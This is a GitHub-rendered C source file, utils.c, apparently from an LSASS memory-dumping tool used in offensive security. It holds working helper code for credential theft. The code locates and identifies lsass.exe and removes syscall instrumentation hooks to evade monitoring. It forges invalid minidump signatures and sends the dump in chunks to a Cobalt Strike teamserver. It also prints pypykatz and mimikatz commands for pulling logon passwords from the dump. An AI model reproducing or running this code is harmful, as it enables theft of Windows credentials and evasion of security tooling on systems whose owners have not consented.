-
Notifications
You must be signed in to change notification settings - Fork 269
Expand file tree
/
Copy pathutils.c
More file actions
984 lines (872 loc) · 24 KB
/
Copy pathutils.c
File metadata and controls
984 lines (872 loc) · 24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
#include "utils.h"
#include "handle.h"
#include "dinvoke.h"
#include "syscalls.h"
#ifndef SSP
BOOL print_shtinkering_crash_location(VOID)
{
BOOL ret_val = FALSE;
DWORD bufferSize = 300;
LPWSTR env_var = NULL;
BOOL success = FALSE;
env_var = intAlloc(bufferSize);
if (!env_var)
{
malloc_failed();
goto cleanup;
}
success = get_env_var(L"LocalAppData", env_var, bufferSize);
if (!success)
goto cleanup;
PRINT("Done, run: dir %ls\\CrashDumps\\", env_var);
ret_val = TRUE;
cleanup:
if (env_var)
{
DATA_FREE(env_var, bufferSize);
}
return ret_val;
}
BOOL get_env_var(
IN LPWSTR name,
OUT LPWSTR value,
IN DWORD size)
{
BOOL ret_val = FALSE;
GetEnvironmentVariableW_t GetEnvironmentVariableW = NULL;
GetEnvironmentVariableW = (GetEnvironmentVariableW_t)(ULONG_PTR)get_function_address(
get_library_address(KERNEL32_DLL, TRUE),
GetEnvironmentVariableW_SW2_HASH,
0);
if (!GetEnvironmentVariableW)
{
api_not_found("GetEnvironmentVariableW");
goto cleanup;
}
size = GetEnvironmentVariableW(name, value, size);
if (!size)
{
DPRINT_ERR("Retrieving %ls failed", value);
goto cleanup;
}
ret_val = TRUE;
cleanup:
return ret_val;
}
// https://github.com/kevoreilly/capemon/blob/940c76cc17c4daefbf11f6cd932a9dece472ace1/hook_sleep.c#L502
DWORD get_tick_count(VOID)
{
PVOID pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET);
ULONG32 MajorVersion = *RVA(PULONG32, pPeb, OSMAJORVERSION_OFFSET);
if (MajorVersion >= 6)
return (DWORD)((*(ULONGLONG *)0x7ffe0320 * *(DWORD *)0x7ffe0004) >> 24);
else
return (DWORD)(((ULONGLONG)*(DWORD *)0x7ffe0000 * *(DWORD *)0x7ffe0004) >> 24);
}
#endif
BOOL find_process_id_by_name(
IN LPCSTR process_name,
OUT PDWORD pPid)
{
BOOL success = FALSE;
NTSTATUS status = STATUS_UNSUCCESSFUL;
HANDLE hProcess = NULL;
PUNICODE_STRING image = NULL;
ULONG image_size = 0;
WCHAR wprocess_name[MAX_PATH] = { 0 };
LPWSTR current_process = NULL;
*pPid = 0;
if (!process_name)
goto end;
mbstowcs(wprocess_name, process_name, MAX_PATH);
while (TRUE)
{
/*
* loop over each process
*/
status = NtGetNextProcess(
hProcess,
PROCESS_QUERY_INFORMATION,
0,
0,
&hProcess);
if (status == STATUS_NO_MORE_ENTRIES)
{
PRINT_ERR("The process '%s' was not found", process_name);
goto end;
}
if (!NT_SUCCESS(status))
{
syscall_failed("NtGetNextProcess", status);
goto end;
}
/*
* get the full path of the process binary
*/
success = get_process_image(
hProcess,
&image,
&image_size);
if (!success)
continue;
if (image->Length == 0)
{
DATA_FREE(image, image_size);
continue;
}
/*
* get the process name
*/
current_process = &wcsrchr(image->Buffer, '\\')[1];
/*
* we always return the first match, ignore the rest if any
*/
if (!_wcsicmp(current_process, wprocess_name))
{
DATA_FREE(image, image_size);
/*
* get the PID of the process
*/
*pPid = get_pid(hProcess);
break;
}
DATA_FREE(image, image_size);
}
if (*pPid)
success = TRUE;
end:
if (hProcess)
NtClose(hProcess);
if (image)
{
DATA_FREE(image, image_size);
}
return success;
}
BOOL is_full_path(
IN LPCSTR filename)
{
char c;
if (filename[0] == filename[1] && filename[1] == '\\')
return TRUE;
c = filename[0] | 0x20;
if (c < 97 || c > 122)
return FALSE;
c = filename[1];
if (c != ':')
return FALSE;
c = filename[2];
if (c != '\\')
return FALSE;
return TRUE;
}
VOID get_full_path(
OUT PUNICODE_STRING full_dump_path,
IN LPCSTR filename)
{
wchar_t wcFileName[MAX_PATH];
// add \??\ at the start
wcsncpy(full_dump_path->Buffer, L"\\??\\", MAX_PATH);
// if it is just a relative path, add the current directory
if (!is_full_path(filename))
wcsncat(full_dump_path->Buffer, get_cwd(), MAX_PATH);
// convert the path to wide string
mbstowcs(wcFileName, filename, MAX_PATH);
// add the file path
wcsncat(full_dump_path->Buffer, wcFileName, MAX_PATH);
// set the length fields
full_dump_path->Length = (USHORT)wcsnlen(full_dump_path->Buffer, MAX_PATH);
full_dump_path->Length *= 2;
full_dump_path->MaximumLength = full_dump_path->Length + 2;
}
LPCWSTR get_cwd(VOID)
{
PVOID pPeb;
PPROCESS_PARAMETERS pProcParams;
pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET);
pProcParams = *RVA(PPROCESS_PARAMETERS*, pPeb, PROCESS_PARAMETERS_OFFSET);
return pProcParams->CurrentDirectory.DosPath.Buffer;
}
BOOL write_file(
IN PUNICODE_STRING full_dump_path,
IN PBYTE fileData,
IN ULONG32 fileLength)
{
HANDLE hFile = NULL;
OBJECT_ATTRIBUTES objAttr = { 0 };
IO_STATUS_BLOCK IoStatusBlock;
LARGE_INTEGER largeInteger = { 0 };
largeInteger.QuadPart = fileLength;
// init the object attributes
InitializeObjectAttributes(
&objAttr,
full_dump_path,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
// create the file
NTSTATUS status = NtCreateFile(
&hFile,
FILE_GENERIC_WRITE,
&objAttr,
&IoStatusBlock,
&largeInteger,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (status == STATUS_OBJECT_PATH_NOT_FOUND ||
status == STATUS_OBJECT_NAME_INVALID)
{
PRINT_ERR("The path '%ls' is invalid.", &full_dump_path->Buffer[4]);
return FALSE;
}
if (!NT_SUCCESS(status))
{
syscall_failed("NtCreateFile", status);
PRINT_ERR("Could not write the dump %ls", &full_dump_path->Buffer[4]);
return FALSE;
}
// write the dump
status = NtWriteFile(
hFile,
NULL,
NULL,
NULL,
&IoStatusBlock,
fileData,
fileLength,
NULL,
NULL);
NtClose(hFile); hFile = NULL;
if (!NT_SUCCESS(status))
{
syscall_failed("NtWriteFile", status);
PRINT_ERR("Could not write the dump %ls", &full_dump_path->Buffer[4]);
return FALSE;
}
DPRINT("0x%x bytes have been written to %ls", fileLength, &full_dump_path->Buffer[4]);
return TRUE;
}
BOOL create_file(
IN PUNICODE_STRING full_dump_path)
{
HANDLE hFile = NULL;
OBJECT_ATTRIBUTES objAttr = { 0 };
IO_STATUS_BLOCK IoStatusBlock;
// init the object attributes
InitializeObjectAttributes(
&objAttr,
full_dump_path,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
NTSTATUS status = NtCreateFile(
&hFile,
FILE_GENERIC_READ,
&objAttr,
&IoStatusBlock,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (status == STATUS_OBJECT_PATH_NOT_FOUND ||
status == STATUS_OBJECT_NAME_INVALID ||
status == STATUS_OBJECT_PATH_SYNTAX_BAD)
{
PRINT_ERR(
"The path '%ls' is invalid.",
&full_dump_path->Buffer[4]);
return FALSE;
}
if (!NT_SUCCESS(status))
{
syscall_failed("NtCreateFile", status);
DPRINT_ERR("Could not create file at %ls", &full_dump_path->Buffer[4]);
return FALSE;
}
NtClose(hFile); hFile = NULL;
DPRINT("File created: %ls", &full_dump_path->Buffer[4]);
return TRUE;
}
BOOL delete_file(
IN LPCSTR filepath)
{
OBJECT_ATTRIBUTES objAttr = { 0 };
wchar_t wcFilePath[MAX_PATH] = { 0 };
UNICODE_STRING UnicodeFilePath = { 0 };
UnicodeFilePath.Buffer = wcFilePath;
if (!filepath)
return TRUE;
get_full_path(&UnicodeFilePath, filepath);
// init the object attributes
InitializeObjectAttributes(
&objAttr,
&UnicodeFilePath,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
NTSTATUS status = NtDeleteFile(&objAttr);
if (!NT_SUCCESS(status))
{
syscall_failed("NtDeleteFile", status);
DPRINT_ERR("Could not delete file: %s", filepath);
return FALSE;
}
DPRINT("Deleted file: %s", filepath);
return TRUE;
}
BOOL file_exists(
IN LPCSTR filepath)
{
HANDLE hFile = NULL;
OBJECT_ATTRIBUTES objAttr = { 0 };
IO_STATUS_BLOCK IoStatusBlock;
LARGE_INTEGER largeInteger = { 0 };
largeInteger.QuadPart = 0;
wchar_t wcFilePath[MAX_PATH] = { 0 };
UNICODE_STRING UnicodeFilePath = { 0 };
UnicodeFilePath.Buffer = wcFilePath;
if (!filepath)
return FALSE;
get_full_path(&UnicodeFilePath, filepath);
// init the object attributes
InitializeObjectAttributes(
&objAttr,
&UnicodeFilePath,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
// call NtCreateFile with FILE_OPEN
NTSTATUS status = NtCreateFile(
&hFile,
FILE_GENERIC_READ,
&objAttr,
&IoStatusBlock,
&largeInteger,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (status == STATUS_SHARING_VIOLATION)
{
DPRINT_ERR("The file is being used by another process");
return FALSE;
}
if (status == STATUS_OBJECT_NAME_NOT_FOUND)
return FALSE;
if (!NT_SUCCESS(status))
{
syscall_failed("NtCreateFile", status);
DPRINT_ERR("Could check if the file %s exists", filepath);
return FALSE;
}
NtClose(hFile); hFile = NULL;
return TRUE;
}
BOOL create_folder(
IN LPCSTR folderpath)
{
HANDLE hFolder = NULL;
OBJECT_ATTRIBUTES objAttr = { 0 };
IO_STATUS_BLOCK IoStatusBlock;
LARGE_INTEGER largeInteger = { 0 };
largeInteger.QuadPart = 0;
wchar_t wcFilePath[MAX_PATH] = { 0 };
UNICODE_STRING UnicodeFolderPath = { 0 };
UnicodeFolderPath.Buffer = wcFilePath;
get_full_path(&UnicodeFolderPath, folderpath);
// init the object attributes
InitializeObjectAttributes(
&objAttr,
&UnicodeFolderPath,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
// call NtCreateFile with FILE_OPEN and FILE_DIRECTORY_FILE
NTSTATUS status = NtCreateFile(
&hFolder,
FILE_GENERIC_READ,
&objAttr,
&IoStatusBlock,
&largeInteger,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_CREATE,//FILE_OPEN,
FILE_DIRECTORY_FILE,
NULL,
0);
if (status == STATUS_OBJECT_NAME_COLLISION)
return TRUE;
if (status == STATUS_OBJECT_NAME_NOT_FOUND)
return FALSE;
if (!NT_SUCCESS(status))
{
syscall_failed("NtCreateFile", status);
DPRINT_ERR("Could check if the folder %s exists", folderpath);
return FALSE;
}
NtClose(hFolder); hFolder = NULL;
return TRUE;
}
BOOL remove_syscall_callback_hook(VOID)
{
// you can remove this function by providing the compiler flag: -DNOSYSHOOK
#ifndef NOSYSHOOK
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION process_information = { 0 };
#ifdef _WIN64
process_information.Version = 0;
#else
process_information.Version = 1;
#endif
process_information.Reserved = 0;
process_information.Callback = NULL; // remove the callback function, if any
NTSTATUS status = NtSetInformationProcess_(
NtCurrentProcess(),
ProcessInstrumentationCallback,
&process_information,
sizeof(PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION));
if (!NT_SUCCESS(status))
{
syscall_failed("NtSetInformationProcess", status);
DPRINT_ERR("Failed to remove the syscall callback hook");
return FALSE;
}
else
{
DPRINT("The syscall callback hook was set to NULL");
}
#endif
return TRUE;
}
VOID free_linked_list(
IN PVOID head,
IN ULONG node_size)
{
if (!head)
return;
Plinked_list node = (Plinked_list)head;
ULONG32 number_of_nodes = 0;
while (node)
{
number_of_nodes++;
node = node->next;
}
for (int i = number_of_nodes - 1; i >= 0; i--)
{
node = (Plinked_list)head;
int jumps = i;
while (jumps--)
node = node->next;
DATA_FREE(node, node_size);
}
}
PVOID allocate_memory(
OUT PSIZE_T region_size)
{
PVOID base_address = NULL;
NTSTATUS status = NtAllocateVirtualMemory(
NtCurrentProcess(),
&base_address,
0,
region_size,
MEM_COMMIT,
PAGE_READWRITE);
if (!NT_SUCCESS(status))
{
DPRINT_ERR(
"Could not allocate enough memory to write the dump");
return NULL;
}
DPRINT(
"Allocated 0x%llx bytes at 0x%p to write the dump",
(ULONG64)*region_size, base_address);
return base_address;
}
// for example, encrypt the dump with an XOR key
VOID encrypt_dump(
IN PVOID base_address,
IN SIZE_T region_size)
{
UNUSED(base_address);
UNUSED(region_size);
//BYTE key = 0x2e;
//PBYTE addr = NULL;
//if (!base_address)
// return;
//for (SIZE_T i = 0; i < region_size; i++)
//{
// addr = RVA(PBYTE, base_address, i);
// *addr ^= key;
//}
}
VOID erase_dump_from_memory(
IN PVOID base_address,
IN SIZE_T region_size)
{
if (!base_address || !region_size)
return;
// delete all trace of the dump from memory
memset(base_address, 0, region_size);
// free the memory area where the dump was
region_size = 0;
NTSTATUS status = NtFreeVirtualMemory(
NtCurrentProcess(),
&base_address,
®ion_size,
MEM_RELEASE);
if (!NT_SUCCESS(status))
{
syscall_failed("NtFreeVirtualMemory", status);
DPRINT_ERR("Could not erased the dump from memory");
}
else
{
DPRINT("Erased the dump from memory");
}
}
VOID generate_invalid_sig(
OUT PULONG32 Signature,
OUT PUSHORT Version,
OUT PUSHORT ImplementationVersion)
{
time_t t;
srand((unsigned) time(&t));
*Signature = MINIDUMP_SIGNATURE;
*Version = MINIDUMP_VERSION;
*ImplementationVersion = MINIDUMP_IMPL_VERSION;
while (*Signature == MINIDUMP_SIGNATURE ||
*Version == MINIDUMP_VERSION ||
*ImplementationVersion == MINIDUMP_IMPL_VERSION)
{
*Signature = 0;
*Signature |= (rand() & 0x7FFF) << 0x11;
*Signature |= (rand() & 0x7FFF) << 0x02;
*Signature |= (rand() & 0x0003) << 0x00;
*Version = 0;
*Version |= (rand() & 0xFF) << 0x08;
*Version |= (rand() & 0xFF) << 0x00;
*ImplementationVersion = 0;
*ImplementationVersion |= (rand() & 0xFF) << 0x08;
*ImplementationVersion |= (rand() & 0xFF) << 0x00;
}
}
#if defined(NANO) && defined(BOF)
BOOL download_file(
IN DWORD chunk_size,
IN LPCSTR fileName,
IN char fileData[],
IN ULONG32 fileLength)
{
int fileNameLength = strnlen(fileName, 256);
// intializes the random number generator
time_t t;
srand((unsigned) time(&t));
// generate a 4 byte random id, rand max value is 0x7fff
ULONG32 fileId = 0;
fileId |= (rand() & 0x7FFF) << 0x11;
fileId |= (rand() & 0x7FFF) << 0x02;
fileId |= (rand() & 0x0003) << 0x00;
// 8 bytes for fileId and fileLength
int messageLength = 8 + fileNameLength;
char* packedData = intAlloc(messageLength);
if (!packedData)
{
malloc_failed();
DPRINT_ERR("Could download the dump");
return FALSE;
}
// pack on fileId as 4-byte int first
packedData[0] = (fileId >> 0x18) & 0xFF;
packedData[1] = (fileId >> 0x10) & 0xFF;
packedData[2] = (fileId >> 0x08) & 0xFF;
packedData[3] = (fileId >> 0x00) & 0xFF;
// pack on fileLength as 4-byte int second
packedData[4] = (fileLength >> 0x18) & 0xFF;
packedData[5] = (fileLength >> 0x10) & 0xFF;
packedData[6] = (fileLength >> 0x08) & 0xFF;
packedData[7] = (fileLength >> 0x00) & 0xFF;
// pack on the file name last
for (int i = 0; i < fileNameLength; i++)
{
packedData[8 + i] = fileName[i];
}
// tell the teamserver that we want to download a file
BeaconOutput(
CALLBACK_FILE,
packedData,
messageLength);
DATA_FREE(packedData, messageLength);
// we use the same memory region for all chucks
int chunkLength = 4 + chunk_size;
char* packedChunk = intAlloc(chunkLength);
if (!packedChunk)
{
malloc_failed();
DPRINT_ERR("Could download the dump");
return FALSE;
}
// the fileId is the same for all chunks
packedChunk[0] = (fileId >> 0x18) & 0xFF;
packedChunk[1] = (fileId >> 0x10) & 0xFF;
packedChunk[2] = (fileId >> 0x08) & 0xFF;
packedChunk[3] = (fileId >> 0x00) & 0xFF;
ULONG32 exfiltrated = 0;
while (exfiltrated < fileLength)
{
// send the file content by chunks
chunkLength = fileLength - exfiltrated > chunk_size ? chunk_size : fileLength - exfiltrated;
ULONG32 chunkIndex = 4;
for (ULONG32 i = exfiltrated; i < exfiltrated + chunkLength; i++)
{
packedChunk[chunkIndex++] = fileData[i];
}
// send a chunk
BeaconOutput(
CALLBACK_FILE_WRITE,
packedChunk,
4 + chunkLength);
exfiltrated += chunkLength;
}
DATA_FREE(packedChunk, chunkLength);
// tell the teamserver that we are done writing to this fileId
char packedClose[4];
packedClose[0] = (fileId >> 0x18) & 0xFF;
packedClose[1] = (fileId >> 0x10) & 0xFF;
packedClose[2] = (fileId >> 0x08) & 0xFF;
packedClose[3] = (fileId >> 0x00) & 0xFF;
BeaconOutput(
CALLBACK_FILE_CLOSE,
packedClose,
4);
DPRINT("The dump was downloaded filessly");
return TRUE;
}
#endif
#if (defined(NANO) || defined(PPL_DUMP) || defined(PPL_MEDIC) || defined(SSP))
BOOL wait_for_process(
IN HANDLE hProcess)
{
NTSTATUS status = NtWaitForSingleObject(
hProcess,
TRUE,
NULL);
if (!NT_SUCCESS(status))
{
syscall_failed("NtWaitForSingleObject", status);
DPRINT_ERR("Could not wait for process");
return FALSE;
}
return TRUE;
}
VOID print_success(
IN LPCSTR dump_path,
IN BOOL use_valid_sig,
IN BOOL write_dump_to_disk)
{
if (!use_valid_sig)
{
PRINT(
"The minidump has an invalid signature, restore it running:\nscripts/restore_signature %s",
strrchr(dump_path, '\\')? &strrchr(dump_path, '\\')[1] : dump_path);
}
if (write_dump_to_disk)
{
#ifdef BOF
PRINT(
"Done, to download the dump run:\ndownload %s\nto get the secretz run:\npython3 -m pypykatz lsa minidump %s\nmimikatz.exe \"sekurlsa::minidump %s\" \"sekurlsa::logonPasswords full\" exit",
dump_path,
strrchr(dump_path, '\\')? &strrchr(dump_path, '\\')[1] : dump_path,
strrchr(dump_path, '\\')? &strrchr(dump_path, '\\')[1] : dump_path);
#else
PRINT(
"Done, to get the secretz run:\npython3 -m pypykatz lsa minidump %s\nmimikatz.exe \"sekurlsa::minidump %s\" \"sekurlsa::logonPasswords full\" exit",
strrchr(dump_path, '\\')? &strrchr(dump_path, '\\')[1] : dump_path,
strrchr(dump_path, '\\')? &strrchr(dump_path, '\\')[1] : dump_path);
#endif
}
else
{
PRINT(
"Done, to get the secretz run:\npython3 -m pypykatz lsa minidump %s\nmimikatz.exe \"sekurlsa::minidump %s\" \"sekurlsa::logonPasswords full\" exit",
dump_path,
dump_path);
}
}
#endif
BOOL get_process_image(
IN HANDLE hProcess,
OUT PUNICODE_STRING* process_image,
OUT PULONG buffer_size)
{
NTSTATUS status;
ULONG BufferLength = 0x200;
ULONG PrevBufferLength = BufferLength;
PVOID buffer;
do
{
PrevBufferLength = BufferLength;
buffer = intAlloc(BufferLength);
if (!buffer)
{
malloc_failed();
DPRINT_ERR("Could not get the image of process");
return FALSE;
}
status = NtQueryInformationProcess(
hProcess,
ProcessImageFileName,
buffer,
BufferLength,
&BufferLength);
if (NT_SUCCESS(status))
{
*process_image = buffer;
*buffer_size = BufferLength;
return TRUE;
}
DATA_FREE(buffer, PrevBufferLength);
} while (status == STATUS_INFO_LENGTH_MISMATCH);
syscall_failed("NtQueryInformationProcess", status);
DPRINT_ERR("Could not get the image of process");
return FALSE;
}
DWORD get_pid(
IN HANDLE hProcess)
{
PROCESS_BASIC_INFORMATION basic_info;
basic_info.UniqueProcessId = 0;
PROCESSINFOCLASS ProcessInformationClass = 0;
NTSTATUS status = NtQueryInformationProcess(
hProcess,
ProcessInformationClass,
&basic_info,
sizeof(PROCESS_BASIC_INFORMATION),
NULL);
if (!NT_SUCCESS(status))
{
syscall_failed("NtQueryInformationProcess", status);
return 0;
}
return (DWORD)basic_info.UniqueProcessId;
}
DWORD get_tid(
IN HANDLE hThread)
{
THREAD_BASIC_INFORMATION basic_info = { 0 };
THREADINFOCLASS ProcessInformationClass = 0;
NTSTATUS status = _NtQueryInformationThread(
hThread,
ProcessInformationClass,
&basic_info,
sizeof(THREAD_BASIC_INFORMATION),
NULL);
if (!NT_SUCCESS(status))
{
syscall_failed("NtQueryInformationThread", status);
return 0;
}
return (DWORD)(ULONG_PTR)basic_info.ClientId.UniqueThread;
}
#if defined(NANO) && !defined(SSP)
BOOL is_lsass(
IN HANDLE hProcess)
{
PUNICODE_STRING image = NULL;
ULONG image_size = 0;
BOOL success = FALSE;
success = get_process_image(
hProcess,
&image,
&image_size);
if (!success)
return FALSE;
if (image->Length == 0)
{
DATA_FREE(image, image_size);
return FALSE;
}
if (wcsstr(image->Buffer, L"\\lsass.exe"))
{
DATA_FREE(image, image_size);
return TRUE;
}
DATA_FREE(image, image_size);
return FALSE;
}
/*
* kill a process by PID
* used to kill processes created by MalSecLogon
*/
BOOL kill_process(
IN DWORD pid,
IN HANDLE hProcess)
{
if (!pid && !hProcess)
return TRUE;
if (pid)
{
// open a handle with PROCESS_TERMINATE
hProcess = get_process_handle(
pid,
PROCESS_TERMINATE,
FALSE,
0);
if (!hProcess)
{
DPRINT_ERR("Failed to kill process with PID: %ld", pid);
return FALSE;
}
}
NTSTATUS status = NtTerminateProcess(
hProcess,
ERROR_SUCCESS);
if (!NT_SUCCESS(status))
{
syscall_failed("NtTerminateProcess", status);
if (pid)
{
DPRINT_ERR("Failed to kill process with PID: %ld", pid);
}
else
{
DPRINT_ERR("Failed to kill process with handle: 0x%lx", (DWORD)(ULONG_PTR)hProcess);
}
return FALSE;
}
if (pid)
{
DPRINT("Killed process with PID: %ld", pid);
}
else
{
DPRINT("Killed process with handle: 0x%lx", (DWORD)(ULONG_PTR)hProcess);
}
return TRUE;
}
DWORD get_lsass_pid(VOID)
{
DWORD lsass_pid;
HANDLE hProcess = find_lsass(PROCESS_QUERY_LIMITED_INFORMATION, 0);
if (!hProcess)
return 0;
lsass_pid = get_pid(hProcess);
NtClose(hProcess); hProcess = NULL;
if (!lsass_pid)
{
DPRINT_ERR("Could not get the PID of " LSASS);
}
else
{
DPRINT("Found the PID of " LSASS ": %ld", lsass_pid);
}
return lsass_pid;
}
#endif